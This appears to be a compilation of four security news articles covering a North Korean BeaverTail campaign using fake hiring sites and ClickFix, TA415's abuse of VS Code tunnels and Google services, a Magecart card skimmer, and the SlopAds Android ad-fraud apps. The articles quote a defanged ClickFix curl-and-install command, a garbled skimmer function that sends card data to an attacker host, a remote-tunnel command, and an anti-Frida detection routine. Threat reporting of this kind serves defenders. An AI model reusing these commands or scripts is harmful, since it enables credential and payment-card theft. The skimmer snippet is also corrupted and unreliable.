A sophisticated North Korean nation-state threat actor campaign has emerged, distributing an evolved variant of the BeaverTail malware through deceptive fake hiring platforms and ClickFix social engineering tactics.

This latest campaign, active since May 2025, represents a significant tactical shift as threat actors expand beyond their traditional software developer targets to pursue marketing professionals, cryptocurrency traders, and retail sector personnel.

The malware distribution infrastructure centers around a fraudulent hiring website hosted at businesshire[.]top, masquerading as a legitimate recruitment platform.

The site offers positions including cryptocurrency trader roles at four web3 organizations and sales or marketing roles at three web3 companies and a US-based e-commerce retailer.

When job seekers attempt to record mandatory video responses during the fake application process, they encounter fabricated technical errors requiring them to execute malicious system commands as troubleshooting steps.

GitLab analysts identified this campaign through infrastructure analysis that revealed the threat actor’s backend service hosted at nvidiasdk.fly[.]dev remains active as of publication.

The campaign demonstrates notable operational refinements, including the compilation of BeaverTail into standalone executables rather than relying on JavaScript interpreters, enabling the malware to function on systems without standard development tools typically found on non-technical users’ machines.

The threat actors have implemented sophisticated evasion mechanisms throughout their infrastructure.

The malicious service employs dynamic user agent header verification, responding with legitimate decoy payloads when accessed without specific numeric headers.

For example, requests without proper headers receive archives containing benign VisualBasic scripts and legitimate, signed Nvidia Broadcast executables, while authentic infection attempts using headers like “203” trigger the deployment of actual BeaverTail payloads.

Technical Infection Chain Analysis

The BeaverTail infection mechanism varies significantly across operating systems, demonstrating the threat actor’s technical sophistication and commitment to cross-platform targeting.

On macOS systems, the ClickFix command initiates by downloading a seemingly legitimate installer package named com.nvidiahpc.pkg, which contains no payload data but executes a malicious preinstall script.

This script attempts to exfiltrate stored passwords from the non-standard ~/.myvars file location before downloading additional components from a GitHub repository hosted at /RominaMabelRamirez/dify.

The infection chain proceeds through the execution of downx64.sh, which retrieves two unsigned Mach-O binaries: x64nvidia containing the stripped-down BeaverTail variant, and payuniversal2, a PyInstaller-compiled version of InvisibleFerret.

The malware exhibits intelligent redundancy mechanisms, executing the InvisibleFerret binary only when Python 3 is unavailable at common installation locations or when BeaverTail execution fails to create the expected ~/.npc entry point file within ten seconds.

curl - k - A 204 - o /var/tmp/ nvidia[.]pkg https[:]//nvidiasdk[.]fly[.]dev/nvs && 'sudo' installer - pkg /var/tmp/nvidia[.]pkg - target /

Windows infections follow a different trajectory, with the ClickFix command downloading nvidia.tar.gz containing multiple components including a renamed 7zip executable and a VisualBasic launcher script.

The update.vbs script performs dual functions: extracting password-protected Python dependencies to a hidden .pyp directory using the hardcoded password “ppp,” and launching the primary nvidiasdk[.]exe executable containing the compiled BeaverTail variant.

Linux systems receive the most streamlined infection vector, with malicious scripts delivered directly through wget and piped into bash execution.

The script installs Node.js via the nvm-sh installer before downloading and executing a JavaScript version of BeaverTail functionally identical to the compiled versions deployed on other platforms.

This variant demonstrates reduced complexity compared to previous BeaverTail iterations, targeting only eight browser extensions rather than the typical 22, and omitting dedicated data extraction functions for browsers beyond Chrome.

The simplified codebase reduces overall malware size by approximately one-third while maintaining core credential stealing and cryptocurrency wallet targeting capabilities.

Command and control communications utilize the IP address 172.86.93[.]139 with “tttttt” serving as the campaign identifier across all infected systems.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free

The post BeaverTail Variant via Malicious Repositories Targeting Retail Sector Organizations appeared first on Cyber Security News.

The Chinese state-sponsored threat actor TA415 has evolved its tactics, techniques, and procedures by leveraging legitimate cloud services like Google Sheets and Google Calendar for command and control communications in recent campaigns targeting U.S. government, think tank, and academic organizations.

Throughout July and August 2025, this sophisticated group conducted spearphishing operations using U.S.-China economic-themed lures, masquerading as prominent figures including the current Chair of the Select Committee on Strategic Competition between the United States and the Chinese Communist Party.

TA415, also known as APT41, Brass Typhoon, and Wicked Panda, represents a significant shift in state-sponsored cyber operations by abandoning traditional malware delivery mechanisms in favor of legitimate development tools.

The group’s latest campaigns have consistently utilized trusted services for command and control infrastructure, demonstrating a deliberate strategy to blend malicious activities with normal network traffic patterns.

This approach significantly complicates detection efforts as security tools must distinguish between legitimate business communications and adversarial command channels.

Proofpoint researchers identified that TA415’s recent operations primarily focused on intelligence collection regarding the trajectory of U.S.-China economic relations, aligning with broader geopolitical tensions and ongoing trade negotiations.

The timing of these campaigns coincides with critical policy discussions surrounding U.S.-Taiwan relations and comprehensive sanctions frameworks targeting China, suggesting targeted intelligence requirements from state-level decision makers.

The threat actor’s infection methodology involves delivering password-protected archives through cloud sharing services including Zoho WorkDrive, Dropbox, and OpenDrive.

These archives contain Microsoft Shortcut files alongside hidden components stored within concealed MACOS subfolders.

The group consistently employs Cloudflare WARP VPN services to obscure sender IP addresses during email transmission, adding an additional layer of operational security to their campaigns.

Advanced Infection Chain Analysis

The TA415 infection mechanism demonstrates sophisticated understanding of legitimate development workflows through its deployment of Visual Studio Code Remote Tunnels.

Upon execution, the malicious LNK file triggers a batch script named logon.bat, which subsequently launches the WhirlCoil Python loader through an embedded Python package.

This loader exhibits advanced obfuscation techniques using repeated variable and function names like IIIllIIIIlIlIIlIII to evade static analysis detection methods.

The WhirlCoil component downloads the VSCode Command Line Interface from official Microsoft sources, extracts it to %LOCALAPPDATA%\Microsoft\VSCode, and establishes persistence through scheduled tasks named GoogleUpdate, GoogleUpdated, or MicrosoftHealthcareMonitorNode.

The script executes the command code.exe tunnel user login --provider github --name <COMPUTERNAME> to create GitHub-authenticated remote tunnels, providing persistent access without conventional malware signatures.

System information collection includes Windows version details, locale settings, computer identification, username, and domain information, which gets transmitted via POST requests to free request logging services like requestrepo.com.

The exfiltrated data combines with VS Code Remote Tunnel verification codes, enabling threat actors to authenticate remote sessions and execute arbitrary commands through Visual Studio’s integrated terminal interface.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free

The post China-Aligned TA415 Hackers Uses Google Sheets and Google Calendar for C2 Communications appeared first on Cyber Security News.

The threat landscape for e-commerce websites has once again shifted with the emergence of a sophisticated Magecart-style attack campaign, characterized by the deployment of obfuscated JavaScript to harvest sensitive payment information.

The campaign first came to light in mid-September 2025 following a tweet indicating an ongoing skimming operation, which was later investigated in detail by cybersecurity researcher, Himanshu Anand.

This new episode demonstrates the persistent ingenuity of web skimming groups leveraging client-side injection to target unsuspecting financial transactions at scale.

The attack vectors in question involve the injection of malicious JavaScript, hosted on attacker-controlled domains such as cc-analytics[.]com, into vulnerable checkout pages of compromised e-commerce platforms.

Once inserted, the script seamlessly blends into legitimate payment workflows, hooking into form fields and event listeners to silently exfiltrate payment data.

The initial code observed was heavily obfuscated, designed both to evade detection by security scanners and to frustrate analysis by incident responders.

While the code has been reused across several campaigns, with the malware logic replicated under different domain names such as getnjs[.]com, getvjs[.]com, and utilanalytics[.]com, primarily hosted on infrastructure like IP address 45.61.136.141.

Cybersecurity researcher, Himanshu Anand, noted the malware’s ability to leverage passive DNS and infrastructure fingerprinting to expand its operational reach.

By analyzing public telemetry from sources like URLScan and WHOIS records, Anand was able to map out a constellation of related domains linked to a single cluster of attacker infrastructure.

These pivots revealed more than a dozen active domains, some masquerading as legitimate analytics or utility services, each serving identical or near-identical skimmer payloads.

The Malware’s Infection Mechanism

Central to the success of this Magecart operation is its infection mechanism: a highly automated skimmer script injected via [script src = "https[:]//www[.]cc-analytics[.]com/app[.]js"].

Once active, the code establishes event hooks on payment input fields, such as credit card numbers and billing addresses. When triggered, the script collects stolen credentials and promptly dispatches them to a remote server (pstatics[.]com) using XMLHttpRequest and FormData objects.

The core data exfiltration logic can be described as follows:-

function sendStolenData ("data```
  const xhr"```"new XMLHttp"```uest ();
  xhr```en ('POST', '```ps[:]//www.pstatics.com/i```
  const form```a = "new Form"```a ();
  form```a[.]append ('uid', "data```rdNumber");
rmData[.]appendid', data[.]billingo);
xhr[.]send"rmData"); }

The design ensures that only valid, non-test credentials—those meeting certain length criteria—are transmitted, maximizing the quality and value of stolen data.

This infection pathway is further reinforced by persistent infrastructure, with attackers recycling domain patterns over time.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free

The post New Magecart Skimmer Attack With Malicious JavaScript Injection to Skim Payment Data appeared first on Cyber Security News.

A sophisticated mobile ad fraud operation dubbed “SlopAds” has infiltrated Google Play Store with 224 malicious applications that collectively amassed over 38 million downloads across 228 countries and territories.

The campaign represents one of the most extensive mobile fraud schemes discovered to date, utilizing advanced steganography techniques and multi-layered obfuscation to deliver fraudulent advertising payloads while evading detection mechanisms.

The threat actors behind SlopAds demonstrated remarkable sophistication by implementing a conditional fraud system that only activated when users downloaded apps through specific advertising campaigns, rather than organic Play Store visits.

This selective activation mechanism helped the malicious applications maintain their presence on the platform for extended periods while appearing legitimate to casual users and automated security systems.

Human Security analysts identified the operation while investigating anomalous patterns in their Ad Fraud Defense solution data.

The researchers discovered that SlopAds applications were generating approximately 2.3 billion fraudulent bid requests daily at peak operation, with traffic distribution heavily concentrated in the United States (30%), India (10%), and Brazil (7%).

The campaign’s global reach and massive scale underscore the threat actors’ sophisticated infrastructure and operational capabilities.

The malicious applications employed Firebase Remote Config, a legitimate Google development tool, to retrieve encrypted configuration data containing URLs for downloading the primary fraud module called “FatModule.”

This abuse of trusted development platforms demonstrates how cybercriminals increasingly leverage legitimate services to mask their malicious activities and avoid detection by security solutions.

Advanced Steganographic Payload Delivery System

SlopAds employed a particularly innovative payload delivery mechanism that showcased the evolving sophistication of mobile malware operations.

The system utilized digital steganography to hide malicious code within seemingly innocuous PNG image files, effectively bypassing traditional security scanning methods that focus on executable file analysis.

When an infected application passed initial verification checks, command-and-control servers delivered four specially crafted PNG files through encrypted ZIP archives.

These images contained hidden APK components that, when decrypted and reassembled, formed the complete FatModule responsible for executing the fraud operations.

The steganographic approach allowed the malicious payload to traverse network security filters and application store scanning systems without triggering conventional malware detection algorithms.

The FatModule incorporated multiple anti-analysis features, including debugging tool detection that specifically searched for hooking frameworks, Xposed modules, and Frida instrumentation tools commonly used by security researchers.

Additionally, the module employed string encryption throughout its codebase and utilized packed native code to obscure its true functionality from static analysis tools.

public static Boolean m45535a() {
    try {
        StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
        for (StackTraceElement element : stackTrace) {
            String className = element.getClassName() + "#" + element.getMethodName();
            if (className.toLowerCase().contains("hook") || 
                className.toLowerCase().contains("xpose") || 
                className.toLowerCase().contains("frida")) {
                return true;
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return false;
}

The fraud execution occurred within hidden WebViews that collected comprehensive device fingerprinting data, including hardware specifications, network information, and GPU details.

This information enabled precise targeting while the hidden interfaces navigated to threat actor-controlled cashout domains, generating fraudulent advertisement impressions and clicks without user awareness or interaction.

Google has since removed all identified SlopAds applications from the Play Store, and users receive automatic protection through Google Play Protect, which warns against and blocks installation of known malicious applications even from third-party sources.

Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free

The post 224 Malicious Android Apps on Google Play With 38 Million Downloads Delivering Malicious Payloads appeared first on Cyber Security News.